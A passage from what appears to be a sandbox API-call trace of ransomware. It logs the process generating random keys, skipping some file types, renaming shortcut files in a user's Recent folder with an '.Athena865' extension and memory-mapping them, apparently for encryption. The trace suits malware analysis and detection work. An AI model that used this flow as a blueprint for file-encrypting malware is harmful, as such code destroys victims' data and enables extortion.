dwNumberOfBytesToMap=0x830) returned 0x100000 [0052.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.755] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.755] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.756] lstrcpyW (in: lpString1=0x241e8b4, lpString2="My Pictures.lnk" | out: lpString1="My Pictures.lnk") returned="My Pictures.lnk" [0052.756] lstrlenW (lpString="My Pictures.lnk") returned 15 [0052.756] lstrlenW (lpString="Athena865") returned 9 [0052.756] lstrcmpiW (lpString1="tures.lnk", lpString2="Athena865") returned 1 [0052.756] lstrlenW (lpString=".dll") returned 4 [0052.756] lstrcmpiW (lpString1="My Pictures.lnk", lpString2=".dll") returned 1 [0052.756] lstrlenW (lpString=".lnk") returned 4 [0052.756] lstrcmpiW (lpString1="My Pictures.lnk", lpString2=".lnk") returned 1 [0052.756] lstrlenW (lpString=".ini") returned 4 [0052.756] lstrcmpiW (lpString1="My Pictures.lnk", lpString2=".ini") returned 1 [0052.756] lstrlenW (lpString=".sys") returned 4 [0052.756] lstrcmpiW (lpString1="My Pictures.lnk", lpString2=".sys") returned 1 [0052.756] lstrlenW (lpString="My Pictures.lnk") returned 15 [0052.756] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Pictures.lnk.Athena865") returned 79 [0052.756] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Pictures.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my pictures.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Pictures.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my pictures.lnk.athena865"), dwFlags=0x1) returned 1 [0052.757] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Pictures.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my pictures.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.757] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1359) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.758] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.758] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.759] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.759] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x154 [0052.759] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000 [0052.759] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.760] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.760] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.761] lstrcpyW (in: lpString1=0x241e8b4, lpString2="My Videos.lnk" | out: lpString1="My Videos.lnk") returned="My Videos.lnk" [0052.761] lstrlenW (lpString="My Videos.lnk") returned 13 [0052.761] lstrlenW (lpString="Athena865") returned 9 [0052.761] lstrcmpiW (lpString1="ideos.lnk", lpString2="Athena865") returned 1 [0052.761] lstrlenW (lpString=".dll") returned 4 [0052.761] lstrcmpiW (lpString1="My Videos.lnk", lpString2=".dll") returned 1 [0052.761] lstrlenW (lpString=".lnk") returned 4 [0052.761] lstrcmpiW (lpString1="My Videos.lnk", lpString2=".lnk") returned 1 [0052.761] lstrlenW (lpString=".ini") returned 4 [0052.762] lstrcmpiW (lpString1="My Videos.lnk", lpString2=".ini") returned 1 [0052.762] lstrlenW (lpString=".sys") returned 4 [0052.762] lstrcmpiW (lpString1="My Videos.lnk", lpString2=".sys") returned 1 [0052.762] lstrlenW (lpString="My Videos.lnk") returned 13 [0052.762] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Videos.lnk.Athena865") returned 77 [0052.762] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Videos.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my videos.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Videos.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my videos.lnk.athena865"), dwFlags=0x1) returned 1 [0052.763] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Videos.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my videos.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.763] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1337) returned 1 [0052.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.764] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.764] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.764] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x840, lpName=0x0) returned 0x154 [0052.764] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x840) returned 0x100000 [0052.764] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.765] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.765] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.766] lstrcpyW (in: lpString1=0x241e8b4, lpString2="nJ8IVrMa642w.lnk" | out: lpString1="nJ8IVrMa642w.lnk") returned="nJ8IVrMa642w.lnk" [0052.766] lstrlenW (lpString="nJ8IVrMa642w.lnk") returned 16 [0052.766] lstrlenW (lpString="Athena865") returned 9 [0052.766] lstrcmpiW (lpString1="a642w.lnk", lpString2="Athena865") returned -1 [0052.766] lstrlenW (lpString=".dll") returned 4 [0052.766] lstrcmpiW (lpString1="nJ8IVrMa642w.lnk", lpString2=".dll") returned 1 [0052.766] lstrlenW (lpString=".lnk") returned 4 [0052.767] lstrcmpiW (lpString1="nJ8IVrMa642w.lnk", lpString2=".lnk") returned 1 [0052.767] lstrlenW (lpString=".ini") returned 4 [0052.767] lstrcmpiW (lpString1="nJ8IVrMa642w.lnk", lpString2=".ini") returned 1 [0052.767] lstrlenW (lpString=".sys") returned 4 [0052.767] lstrcmpiW (lpString1="nJ8IVrMa642w.lnk", lpString2=".sys") returned 1 [0052.767] lstrlenW (lpString="nJ8IVrMa642w.lnk") returned 16 [0052.767] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nJ8IVrMa642w.lnk.Athena865") returned 80 [0052.767] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nJ8IVrMa642w.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nj8ivrma642w.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nJ8IVrMa642w.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nj8ivrma642w.lnk.athena865"), dwFlags=0x1) returned 1 [0052.768] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nJ8IVrMa642w.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nj8ivrma642w.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.768] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2609) returned 1 [0052.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.768] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.769] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.769] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.769] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x154 [0052.769] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0052.769] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.770] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.770] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.771] lstrcpyW (in: lpString1=0x241e8b4, lpString2="nKj4jy.lnk" | out: lpString1="nKj4jy.lnk") returned="nKj4jy.lnk" [0052.772] lstrlenW (lpString="nKj4jy.lnk") returned 10 [0052.772] lstrlenW (lpString="Athena865") returned 9 [0052.772] lstrcmpiW (lpString1="Kj4jy.lnk", lpString2="Athena865") returned 1 [0052.772] lstrlenW (lpString=".dll") returned 4 [0052.772] lstrcmpiW (lpString1="nKj4jy.lnk", lpString2=".dll") returned 1 [0052.772] lstrlenW (lpString=".lnk") returned 4 [0052.772] lstrcmpiW (lpString1="nKj4jy.lnk", lpString2=".lnk") returned 1 [0052.772] lstrlenW (lpString=".ini") returned 4 [0052.772] lstrcmpiW (lpString1="nKj4jy.lnk", lpString2=".ini") returned 1 [0052.772] lstrlenW (lpString=".sys") returned 4 [0052.772] lstrcmpiW (lpString1="nKj4jy.lnk", lpString2=".sys") returned 1 [0052.772] lstrlenW (lpString="nKj4jy.lnk") returned 10 [0052.772] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nKj4jy.lnk.Athena865") returned 74 [0052.772] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nKj4jy.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nkj4jy.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nKj4jy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nkj4jy.lnk.athena865"), dwFlags=0x1) returned 1 [0052.774] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nKj4jy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nkj4jy.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.774] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5299) returned 1 [0052.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.774] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.775] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.775] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.775] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17c0, lpName=0x0) returned 0x154 [0052.775] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17c0) returned 0x100000 [0052.776] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.776] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.776] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.778] lstrcpyW (in: lpString1=0x241e8b4, lpString2="nl24Qy.lnk" | out: lpString1="nl24Qy.lnk") returned="nl24Qy.lnk" [0052.778] lstrlenW (lpString="nl24Qy.lnk") returned 10 [0052.778] lstrlenW (lpString="Athena865") returned 9 [0052.778] lstrcmpiW (lpString1="l24Qy.lnk", lpString2="Athena865") returned 1 [0052.778] lstrlenW (lpString=".dll") returned 4 [0052.778] lstrcmpiW (lpString1="nl24Qy.lnk", lpString2=".dll") returned 1 [0052.778] lstrlenW (lpString=".lnk") returned 4 [0052.778] lstrcmpiW (lpString1="nl24Qy.lnk", lpString2=".lnk") returned 1 [0052.778] lstrlenW (lpString=".ini") returned 4 [0052.778] lstrcmpiW (lpString1="nl24Qy.lnk", lpString2=".ini") returned 1 [0052.778] lstrlenW (lpString=".sys") returned 4 [0052.778] lstrcmpiW (lpString1="nl24Qy.lnk", lpString2=".sys") returned 1 [0052.778] lstrlenW (lpString="nl24Qy.lnk") returned 10 [0052.778] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nl24Qy.lnk.Athena865") returned 74 [0052.778] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nl24Qy.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nl24qy.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nl24Qy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nl24qy.lnk.athena865"), dwFlags=0x1) returned 1 [0052.779] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nl24Qy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nl24qy.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.779] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4892) returned 1 [0052.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.780] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.780] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.780] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.781] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1620, lpName=0x0) returned 0x154 [0052.781] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1620) returned 0x100000 [0052.781] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.782] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.782] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.783] lstrcpyW (in: lpString1=0x241e8b4, lpString2="nldLqO_alW5J.lnk" | out: lpString1="nldLqO_alW5J.lnk") returned="nldLqO_alW5J.lnk" [0052.783] lstrlenW (lpString="nldLqO_alW5J.lnk") returned 16 [0052.783] lstrlenW (lpString="Athena865") returned 9 [0052.783] lstrcmpiW (lpString1="alW5J.lnk", lpString2="Athena865") returned -1 [0052.783] lstrlenW (lpString=".dll") returned 4 [0052.784] lstrcmpiW (lpString1="nldLqO_alW5J.lnk", lpString2=".dll") returned 1 [0052.784] lstrlenW (lpString=".lnk") returned 4 [0052.784] lstrcmpiW (lpString1="nldLqO_alW5J.lnk", lpString2=".lnk") returned 1 [0052.784] lstrlenW (lpString=".ini") returned 4 [0052.784] lstrcmpiW (lpString1="nldLqO_alW5J.lnk", lpString2=".ini") returned 1 [0052.784] lstrlenW (lpString=".sys") returned 4 [0052.784] lstrcmpiW (lpString1="nldLqO_alW5J.lnk", lpString2=".sys") returned 1 [0052.784] lstrlenW (lpString="nldLqO_alW5J.lnk") returned 16 [0052.784] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nldLqO_alW5J.lnk.Athena865") returned 80 [0052.784] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nldLqO_alW5J.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nldlqo_alw5j.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nldLqO_alW5J.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nldlqo_alw5j.lnk.athena865"), dwFlags=0x1) returned 1 [0052.785] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\nldLqO_alW5J.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\nldlqo_alw5j.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.785] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3906) returned 1 [0052.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.785] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.786] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.786] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.786] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1250, lpName=0x0) returned 0x154 [0052.786] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1250) returned 0x100000 [0052.787] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.788] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.788] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.789] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Pl8 rv9MiKs.lnk" | out: lpString1="Pl8 rv9MiKs.lnk") returned="Pl8 rv9MiKs.lnk" [0052.789] lstrlenW (lpString="Pl8 rv9MiKs.lnk") returned 15 [0052.789] lstrlenW (lpString="Athena865") returned 9 [0052.789] lstrcmpiW (lpString1="9MiKs.lnk", lpString2="Athena865") returned -1 [0052.789] lstrlenW (lpString=".dll") returned 4 [0052.789] lstrcmpiW (lpString1="Pl8 rv9MiKs.lnk", lpString2=".dll") returned 1 [0052.789] lstrlenW (lpString=".lnk") returned 4 [0052.789] lstrcmpiW (lpString1="Pl8 rv9MiKs.lnk", lpString2=".lnk") returned 1 [0052.789] lstrlenW (lpString=".ini") returned 4 [0052.789] lstrcmpiW (lpString1="Pl8 rv9MiKs.lnk", lpString2=".ini") returned 1 [0052.789] lstrlenW (lpString=".sys") returned 4 [0052.789] lstrcmpiW (lpString1="Pl8 rv9MiKs.lnk", lpString2=".sys") returned 1 [0052.789] lstrlenW (lpString="Pl8 rv9MiKs.lnk") returned 15 [0052.789] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Pl8 rv9MiKs.lnk.Athena865") returned 79 [0052.789] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Pl8 rv9MiKs.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\pl8 rv9miks.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Pl8 rv9MiKs.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\pl8 rv9miks.lnk.athena865"), dwFlags=0x1) returned 1 [0052.790] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Pl8 rv9MiKs.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\pl8 rv9miks.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.791] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2594) returned 1 [0052.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.791] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.792] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.792] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.792] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.792] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.792] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.797] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.797] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.798] lstrcpyW (in: lpString1=0x241e8b4, lpString2="PVDGrFMGOrOutk.mkv.lnk" | out: lpString1="PVDGrFMGOrOutk.mkv.lnk") returned="PVDGrFMGOrOutk.mkv.lnk" [0052.798] lstrlenW (lpString="PVDGrFMGOrOutk.mkv.lnk") returned 22 [0052.798] lstrlenW (lpString="Athena865") returned 9 [0052.798] lstrcmpiW (lpString1="k.mkv.lnk", lpString2="Athena865") returned 1 [0052.798] lstrlenW (lpString=".dll") returned 4 [0052.798] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv.lnk", lpString2=".dll") returned 1 [0052.798] lstrlenW (lpString=".lnk") returned 4 [0052.798] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv.lnk", lpString2=".lnk") returned 1 [0052.798] lstrlenW (lpString=".ini") returned 4 [0052.798] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv.lnk", lpString2=".ini") returned 1 [0052.798] lstrlenW (lpString=".sys") returned 4 [0052.798] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv.lnk", lpString2=".sys") returned 1 [0052.798] lstrlenW (lpString="PVDGrFMGOrOutk.mkv.lnk") returned 22 [0052.798] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: 